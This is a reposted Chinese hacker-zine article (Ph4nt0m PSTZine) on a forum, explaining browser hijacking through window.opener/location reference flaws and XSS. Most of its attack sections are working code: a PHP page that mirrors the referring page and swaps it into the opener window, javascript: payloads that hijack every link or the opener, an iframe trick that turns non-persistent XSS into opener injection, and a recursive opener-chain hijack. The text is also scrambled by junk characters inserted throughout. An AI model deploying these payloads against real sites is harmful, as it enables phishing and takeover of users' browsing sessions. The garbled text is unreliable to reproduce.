找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2356|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==
: z. g6 v3 a9 v' g( K+ x# `- u 9 e8 e4 D, F8 o
                       Issue 0x03, Phile #0x05 of 0x07/ E  `" {+ ~( o- f, E
' Y# c6 n3 _0 F7 K2 C

" y4 r5 e" |. |7 f5 f1 o( C1 A|=---------------------------------------------------------------------------=|
# q* f  d' ~* _$ E& r|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
" D1 l) I0 O- I0 I" i|=---------------------------------------------------------------------------=|) {1 J4 @1 k# C5 G3 M+ Y0 h
|=---------------------------------------------------------------------------=|. t, C( c5 r& n
|=------------------------=[      By rayh4c     ]=---------------------------=|
* X5 C- W, o5 [& f6 e9 ?|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
- L3 F0 Z3 B1 ~2 |' O; O, W2 P" Y- c|=---------------------------------------------------------------------------=|
( F6 I) A, v5 N$ `: {" e7 o1 `4 q# ~$ A5 A4 \( u9 S( S

  U. N7 m  T$ X3 H# N6 z[目录]( r' s: r; A0 p
+ U" A, E& _3 d5 b. v) W6 G) e$ p
1. 前言
$ P8 m4 i7 {& ~$ i3 I2. 同源策略简叙1 E  u( J7 L' r9 Z3 d9 N, B4 n
3. 理解window对象的同源策略
. D0 J% Y( b/ Y3 z4. 窗口引用功能中的同源策略漏洞2 R  W5 @2 @1 \% r4 z2 f
  4.1 父窗口引用子窗口的同源策略问题
, L9 m8 b5 l- ]0 K9 N6 P6 y3 f5 k+ v  4.2 子窗口引用父窗口的同源策略问题! b7 ~! V* }) F5 _
5. 利用窗口引用漏洞劫持浏览器2 s5 E) O8 s( a' p  D$ T& X
6. 利用XSS漏洞劫持浏览器8 s6 V6 A8 f4 F. E. ]
  6.1 正向跨窗口劫持1 z' k5 v+ G7 A; w+ j
  6.2 反向跨窗口劫持
, b+ X7 Z+ a3 P9 f6 V  6.3 极度危险的跨框架窗口引用劫持
) B9 [. @3 V9 C' L2 ~. ?  6.4 极度危险的正反向跨窗口递归劫持" h; p% z  t; M! H$ {
  6.5 完全控制浏览器
( y1 \6 F$ Y1 d+ c! W' U$ d, E7. 后记: ~$ _' C# j$ O6 Z
8. 参考0 E- [2 ]) N3 z. M, [; H( e0 |* r0 T
9 C' c8 V( H2 s; G4 I! y
3 q% [* R% R1 w) }4 Y
一、前言. k+ Y$ c6 X, z

: O! ^% o8 h; B! _9 S! R    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
6 X% e" }  w( `: A+ D友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session2 l4 L! n+ q* }; H4 h% b
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
  r& J; y" }* V- p5 ?* L* L条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。, `) B4 c8 x/ [# m4 B; ]1 m

& E& ?( u. O0 ~% `9 H
- _- Q$ q2 m( M- S二、同源策略简叙
% C: R/ H1 X  W( N2 f% ?' K5 |0 r5 }" \4 g3 a/ A! i9 s
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
* L' F. c* [% b从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都6 s1 R0 V- q- n: h* E
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木! j) p# S4 ~3 K, c& N0 k6 X$ Q6 r: R
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个- y; v) v8 k  E4 r
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
# j/ q: t+ ~* q1 e$ q2 a% ~1 Y5 B2 F, B; H' U
' m( c9 {# U& V+ V4 r
三、理解window对象的同源策略
" S; }+ o6 n  Z7 d
4 W" s* {8 A8 P/ K5 d+ `    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对* O* p4 V: o) s6 I. {3 j- \1 |/ x0 L
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
: }, A; ~2 |# h; g; r4 p2 b
' v( A; V8 O7 ?7 q. _--code-------------------------------------------------------------------------* S0 Z' {. z. l$ m! c6 T9 `
<script language="javascript">9 F* ]5 I& u" w9 o% ^! N4 s, \
for(p in window) document.write(p+"<br>");8 i# x! x$ \+ w+ f! j# p* t+ V3 ~  @. h
</script>
. ]" N/ Z0 ^0 v! \" O9 D-------------------------------------------------------------------------------  |. [4 v( Y' `$ P$ ^
% U# ?; f" D3 \! v
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方) D' s& j/ s6 H" b
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
6 p& G% M7 \) w& n6 ~0 W+ L这些属性和方法就必须遵循同源策略。
/ ~9 P( B" c; U5 B( E$ f# P. X" |* {: R; p( H8 Z+ ?2 F! v" o
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
* w- N# ], `% P3 T么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须/ h- t( }9 I' X; w
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
' j, t& K* P$ V个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
3 M: r6 q  L4 N, E  }值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
" p. D; b3 s8 C8 o属性并没有被拒绝访问。& `& `: U( y! C* q/ H4 U2 v) y. p

( S/ F' J: B8 e* z9 |2 _. N1 v--demo.html--------------------------------------------------------------------+ x! o, O/ m" ]1 Q4 V5 `/ V* F9 o
<script language="javascript">   - l) m/ w; m1 I. W
function allPrpos(obj) {      - B* h1 [: o" x( ~; a, h( g5 v" a
      var props = "<table><tr><td>名称</td><td>值</td>";           
* L& [* v& X/ }/ P8 x      for(var p in obj){         
6 N4 c. b6 t& a, e. ^$ f            if(typeof(obj[p])=="function"){   
6 }) Q9 I0 Z& o" ~                   obj[p]();   $ R6 S. Y% K5 ^( L: B3 S# S
             }else{                     
  I& g( V# D9 A- [/ W8 @                  try   : y5 [$ B5 w+ g
                   {   
& P9 F! b3 U) _* [% ^  a, a                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   9 S4 c  m! }. B- n9 T5 r* P
                   }   
4 D% d) x0 o% f2 j4 @. d! w                  catch (ex)   
; W+ ~+ S' Q: @3 k0 A7 n+ u7 c                   {   3 X' d# B. \, K8 w% U6 i/ H( m
                   + J# E, A, [2 b+ B3 W$ j5 c
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   6 q. ]% q4 w# C1 H0 z3 {5 ^2 i
                   }   
$ ?8 w4 k+ F. l( A1 c5 A                       
% ~; R( V0 [: f" s# Q# v5 O             }   
- l5 I3 x) j) R9 I# S0 b       }   $ h2 J, W' w4 S4 w" T" w
   
( i6 w& r* j+ k6 \: g& S       document.write(props+"</table>");   
7 d9 X3 V, x) m+ |" r$ k}   ; b) T* Q8 s) R! ?3 }
   
- Q# I! k0 G6 b2 e- x4 gfunction createWin() {" m) S  \) n, n; L' V+ h  R/ B% U
        newWin = window.open ("http://www.google.com");  , l& D6 m, y& F5 r5 S& e1 q
        setTimeout(function(){allPrpos(newWin)},2000);
' V% {" E# Z" T/ y. X% E. I- }}
  F) ~5 v, G" `* ?7 w/ x. P! N4 V# v/ a. t
</script>
# X. P4 ?* V/ A+ y. Y( R1 K- b: R0 S9 \5 Y+ }
<button onclick='createWin()'>创建一个非同源子窗口测试</button>1 Z6 U, r, A1 q
-------------------------------------------------------------------------------
' L! t/ Z* d1 L  m/ [
( S7 w2 ^* d+ o( L0 b) `* ]2 I; l/ M; n
( m8 `5 ?" Z6 L1 Y  D, s, ?7 {四、窗口引用功能中的同源策略漏洞
; ]/ j( j7 i! W7 a! P& |- E; N9 f- I, Z- a" g% X6 X
4.1 父窗口引用子窗口的同源策略问题
1 ]1 F0 v9 r& ~/ T1 |; }$ P  l  t) ]4 L5 Q. n5 j, f7 g$ a
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,) y# m8 l; N6 E( C% c* ^
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
8 ?+ ?: Q4 j/ u* e! n3 p. ^浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
# o' B' ^; ^# F/ G( s2 z; z行测试,会发现父窗口可以控制非同源子窗口location属性值。# i- i. J) d" ^7 K- m( }  C! n

4 b! ]2 Y# }0 }/ \( I$ A--vul1.html--------------------------------------------------------------------
' c7 e2 X, ]; [% x( x4 H% k: D; q<script language="javascript">
: f0 [5 w9 l' ]# A: Dfunction createWin() {    l) ^3 C! c& Z9 f# y0 e* S
        newWin = window.open ("http://www.google.com");  
; z9 P3 H* l7 E/ ?( \$ d        setTimeout(function(){newWin.location="http://www.80sec.com"},2000); / ~0 v' Q0 z9 H' R* |5 ?
}
3 |& y! W$ v% g7 J7 X# y</script>1 _) C$ V$ B9 r6 h. k. A6 P5 X$ o- b
/ W: g5 L8 }1 w4 Z1 R, c/ W4 t  v
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
: ?* Q& j( A' d-------------------------------------------------------------------------------
! F% L/ P- X2 O; \* n8 K% X1 H  a4 g; q6 G) l  C& s) c
2 X; U2 }* j, [! Y) S; ]
4.2 子窗口引用父窗口的同源策略问题
# ], W( L" Z' n+ z/ a# L# I7 H9 p- A* j
6 W) V' C8 }) ~/ \# s+ ?    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
6 y) w4 ]% \7 \* O2 L( H( G用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们% D0 y* B! L1 ?, W# g% {8 f
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
  f1 o8 k- h. Q. v$ d  E会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
9 W3 t( j% }  U0 _- d3 q, Q/ c, E8 O. w
--code-------------------------------------------------------------------------8 T7 w0 d# m" a2 }6 j5 }# m, C
3 f' M% }9 m2 B& `
javascript:window.opener.location = "http://www.80sec.com";void(0);
( J# |* a5 _" g3 U3 n
3 u( u+ c7 I) v( w5 _-------------------------------------------------------------------------------0 \  c/ o% w+ K* o3 L/ v

5 o# t( {) H' q
+ [! u% ^2 l' {, X+ p; h五、利用窗口引用漏洞劫持浏览器& `/ a/ H  s$ i7 P3 y
# D& Q: p1 e/ {6 `$ d$ ^, ~
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
9 [. \! @6 }2 T4 `4 D窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
8 G4 B, y) N7 s么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
0 i; }: F6 z6 ]( m) @
1 R  v0 `/ l1 n) q    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产6 t( i6 N8 M1 I
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或  I; b& o* E3 \! j
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
9 z* ^/ r' |- W: Y后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
, f# t* o! C1 D, s9 G& G- j会产生什么可怕的后果。# w" u% f. W2 h8 Z* z

' U) ?" ]4 E) k" m    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我, ]4 [8 K, W# l2 }4 V& f7 i
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
) L) I% [* x* v2 J) x这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时( k: o, F% ^0 f9 h4 Q
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
1 w3 M4 G9 J- s" V* @* a: `& R以做更多的事情,所有的一切仅仅是因为点击了一个链接。5 }, {# R/ h, X' h8 h' k

+ w+ F# P1 ^0 [7 y! d/ p- p$ G  j--hjk_ref.php------------------------------------------------------------------
4 J; N" g8 k/ ~- [6 `! ]+ N<?php( S+ V6 M) w6 w0 F$ b$ W& l- k0 N& `% h3 I
if (array_key_exists("HTTP_REFERER", $_SERVER)) {" t* ~+ `% k3 Z
$Url_Mirror = $_SERVER["HTTP_REFERER"];0 D' `# T9 W, h
} . D3 s4 l: c8 t
if(isset ($_GET['ref'])) {
1 ^" E5 P, T- N- ?3 R5 w! s+ Fecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
4 t' _7 s4 |0 ]: {7 E5 g}
& H* a: g! i; L0 p1 R" h: l?>
( D5 r  e6 O: e; h- t: x( w8 y; Y
<script language="javascript">
* b! u/ c& a0 m" F( j% {setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         % D& D& i8 s; s0 @0 B4 x
</script>7 {; N3 j; l6 |- d; f
-------------------------------------------------------------------------------
3 i; O; s" s$ |! Q9 e* K$ C3 t! ~
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
) V% S) E4 ^- V: T# U( J8 K
2 p! Q% u! d  P! W1 @; w
3 g; }% s( E5 M6 v( S. g六、利用XSS漏洞劫持浏览器
8 i' U: k$ q: k, \; K" s1 I1 `) a
4 a5 M7 `( ]  B8 m7 B5 }    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
) p& E$ S7 L- n, I- ]8 y6 |0 E: Y持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后, g- n" @3 d9 w
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起3 w9 E$ m! Z  k+ y% l7 E+ \- H: n- K
讨论跨站师的终极技巧:% V% \$ S( g) w, s
2 r+ s- t( _5 H# w

" i* J# A4 K9 j1 [1 E2 y" O# y6.1 正向跨窗口劫持
3 ?- e3 W3 t  M5 i! S  F! H$ u- p3 ]/ ]; y* l
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
. b! J9 J' v1 D9 u主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链9 B; U$ g& F' R, b. r" R* h1 Q
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话/ ]& ~% s* J& }$ z. [
框脚本。
7 w% R, g: k2 B) F- q# h4 |5 @) E  F8 S1 T0 b4 i# o' x
--hijack_open.js---------------------------------------------------------------+ k$ F- _! c( M
* ]9 j% p: b4 r1 V. M. x8 Y
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
0 _5 Q/ X; F7 m$ C$ H# i( {+ ?, ?
-------------------------------------------------------------------------------. f- Q) W$ I9 {/ K$ f0 P7 t" f

' _1 U9 ~. a# a: A4 k
& B/ v1 f- V* d$ e6.2 反向跨窗口劫持
! `/ h- H4 v" E7 v8 D, i# w
6 K. Y8 B; ?/ B0 F    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
5 B! d: t$ Y$ b; T( d' d码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话5 v3 B) n+ h1 ]+ |5 h
框脚本。8 h' a2 c* H3 n4 A! T' Z  u8 ^- [9 n
5 |# S) M8 K# h% b  ~1 u: l' G" |
--hijack_opener.js-------------------------------------------------------------  d4 @/ L. N# O$ D2 E

2 G" z' s( T0 V) vjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);8 q3 e# c0 _0 }, N$ j. O' j  d/ b6 _

1 w: w' {) [% H; F- E-------------------------------------------------------------------------------
+ Q6 J9 e5 o  ]$ W# }4 M! _2 N5 e& \: M9 d2 Q

7 B  x+ J5 K2 l6 y3 s6.3 极度危险的跨框架窗口引用劫持% ^6 Q& M% N' i; A4 [0 ]
# f1 X1 w' i; W* [+ h
    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞% o+ x! x1 t) L6 Q( t4 }
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就# ?/ w8 a. |. T5 I- h
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
& `  K! z9 s& E& U5 T+ ~# b* `非持久型的XSS,如下:) ?; Q* v+ o9 L3 z* ?

5 `* C4 Z1 l( _' j0 x" _<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
& y5 f* S, S8 s8 j! d$ e7 H1 D
. n) }5 R: o+ z5 a* t/ n  L    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
6 C. K* d1 T# b/ Q注入脚本。
" L* @. b5 U- l# B( W; \- B1 f
8 f9 n1 A3 I7 f) N" o8 ?. {" W1 H2 \--hijack_frame_opener.js-------------------------------------------------------9 Q0 `5 [, w6 l9 T  q
<script>, l+ p9 [! ?. {- W
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";* K/ Y$ N6 J, }4 ]9 m/ y6 x
</script>/ z$ g5 Q. W$ j5 k  R1 C
-------------------------------------------------------------------------------
" R5 q) X8 v( A5 e! B
* z0 ?, Z/ X# }; g
" a* g1 a( R5 u7 @5 C5 ~; O6.4 极度危险的正反向跨窗口递归劫持
: e; L- j  Y2 p( G6 v2 @8 i
. B% d2 V8 h9 T- C3 `- h( m* ?3 Z    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window4 X1 ^& n7 c' H2 N" N
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
) P% t! ]8 T9 D" D异常处理规避之间跨域页面的访问异常,代码如下:5 C/ [1 s/ u& ~0 o8 M, _" g
7 I/ K- A1 [. M  U2 O& O: a- f
--code-------------------------------------------------------------------------
/ d6 T, p9 q& o$ T: ]' T: ^/ U
* o/ C- _) f  T. j  g" Njavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);. O0 v3 d1 L1 r: U" c& Y: h3 u3 Q9 O

, }  N0 D5 N, r1 r8 X2 N( m3 M) o-------------------------------------------------------------------------------& m! g, {4 Q7 O# i- [9 h! q- `. Z8 I
  R+ z4 T# F) l- B. w) t. r# W
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
: e2 ~; K8 k2 R2 L以劫持B域之前的A域页面,从而实现“隔空打击”。$ d1 c( N2 b& L) p7 Q' d( b3 I7 A
; y, T" e$ v; @
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面# P+ f0 `* j2 W; r3 d
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。: K) _0 \" L1 t1 V% b9 b

: M4 _3 o. c' r4 O$ x    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。, t- M3 E0 l5 Y9 m

8 T% [) ]- W0 x% y
2 G* B2 J0 V! U- R6.5 完全控制浏览器
1 ^, r$ `! r. I. @
! I: d8 D4 [0 j9 H6 Y5 `% s    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则/ f9 i9 @. T* t, P, w) s, u: c+ E
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS) H6 A) p! A! o( R
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失; \1 l! q, m! a
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
6 F- h& K& X& L# X  g  @列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
! ~7 k4 T9 h  q师的终极目标 - 完全控制浏览器。
0 p" x" p2 ^) }8 [8 P
( t' J( A2 q, ^1 m1 s7 ~9 p" ^# u' i, T, r) n! z( \
七、后记
/ s) M* e$ h. F' S5 R5 j
& {; F2 ^% N: L9 o3 H4 l) I1 B& [# ]    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
! T3 J  `- I' h: d' X/ A5 M% R与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予, f/ J) Y) f1 O+ n
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
1 D1 z( O/ X0 Y
# d, l8 N+ a2 P/ ]5 U! Q# {2 k9 J% g8 y
八、参考
4 {8 C( ^3 t6 z. h7 l4 _
. ?8 i6 h; X$ O2 K9 G3 @& \1. http://en.wikipedia.org/wiki/Same_origin_policy
# t' q9 M" ]5 ?' K2. http://code.google.com/p/browser ... licy_for_DOM_access
' x- @+ d0 O8 T# N) t8 U/ m3. http://www.w3.org/TR/Window/
( Z7 P) G7 f# U/ `; N9 J- F4. http://www.80sec.com/release/browser-hijacking.txt. J  J! ~3 q7 l7 Q5 f
5. http://www.80sec.com/all-browser-security-alert.html
$ X& y- U0 M7 [1 n6. http://www.80sec.com/ms08-058-attacks-google.html: A! H" y  j" S. W. K' ^, X

) `/ p8 u. v. q( y/ u# ]# k( n# w-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表